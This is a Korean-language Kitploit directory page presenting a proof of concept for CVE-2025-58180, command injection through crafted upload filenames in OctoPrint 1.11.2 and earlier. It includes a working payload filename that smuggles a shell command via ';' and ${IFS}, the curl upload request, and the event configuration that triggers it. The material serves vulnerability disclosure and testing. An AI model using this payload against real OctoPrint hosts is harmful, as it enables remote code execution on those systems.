Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-58180 — OctoPrint 버전 <=1.11.2에서 파일 업로드 액세스 권한(예: 유효한 API 키 또는 세션)이 있는 공격자는 삭제를 우회하는 악성 파일 이름을 만들 수 있으며, 이후 OctoPrint의 이벤트 시스템에 의해 실행되어 호스트에서 원격 코드 실행(RCE)이 발생합니다. | Kitploit
도구/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

OctoPrint 버전 <=1.11.2에서 파일 업로드 액세스 권한(예: 유효한 API 키 또는 세션)이 있는 공격자는 삭제를 우회하는 악성 파일 이름을 만들 수 있으며, 이후 OctoPrint의 이벤트 시스템에 의해 실행되어 호스트에서 원격 코드 실행(RCE)이 발생합니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-58180 OctoPrint의 파일 업로드 시 비위생적인 파일명을 통한 RCE 취약점

OctoPrint 버전 1.11.2 이하에서, 파일 업로드 접근 권한(예: 유효한 API 키 또는 세션)을 가진 공격자는 위생 처리를 우회하는 악성 파일명을 조작할 수 있으며, 이 파일명이 나중에 OctoPrint의 이벤트 시스템에 의해 실행되어 호스트에서 원격 코드 실행(RCE)이 발생합니다.


PoC: 취약점 재현 단계

1단계: 버전 정보

최신 안정 릴리스 다운로드: OctoPrint 1.11.2

image

2단계: OctoPrint 실행

root@kitploit:~
octoprint serve --port 5000 --debug
  • 브라우저에서 http://127.0.0.1:5000을 엽니다.
  • 초기 마법사를 진행하고 → 기본 설정으로 사용자를 생성합니다 (비활성화: 연결, 익명, 플러그인).
  • 설정 → API에서 API 키를 가져와 나중에 사용할 수 있도록 저장합니다. image

위 단계를 완료한 후 OctoPrint 서비스를 중지합니다.


3단계: 이벤트 구독 설정

OctoPrint 이벤트 문서를 참조하십시오:

~/.octoprint/config.yaml을 편집합니다:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

4단계: 샘플 G-code 생성

/tmp/gcode/ok.gcode를 생성합니다:

root@kitploit:~
; minimal gcode
G28
M105

OctoPrint 서비스를 다시 시작합니다.


5단계: 개념 증명 RCE

  1. API 키 내보내기:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. 파일이 존재하지 않는지 확인:
root@kitploit:~
ls -la /tmp/test123
  1. 악성 파일명 페이로드 조작:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

설명: ${IFS}는 셸의 내부 필드 분리자(일반적으로 공백)입니다. 주입 시 위생 처리를 우회합니다.

  1. curl 요청 보내기:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. 실행 확인:
root@kitploit:~
ls -la /tmp/test123
image

/tmp/test123이 존재하면 주입된 명령어가 성공적으로 실행된 것이므로 → RCE 확인.


흐름 설명

root@kitploit:~
[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

요약

파일이 업로드되면:

  1. OctoPrint가 파일명을 수락합니다(제한된 위생 처리만 수행).
  2. FileAdded 이벤트를 트리거합니다.
  3. 시스템 명령어가 이 이벤트를 구독하고 있으면, 원시 파일명(;, ${IFS} 등 포함)이 셸로 전달됩니다.
  4. 이로 인해 파일명 내에 주입된 명령어가 호스트에서 실행될 수 있습니다.

결과: 호스트 시스템에서 원격 코드 실행(RCE) 발생.

참고 자료

  • CVE 할당됨:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • 패치 버전: 1.11.3

도구 다운로드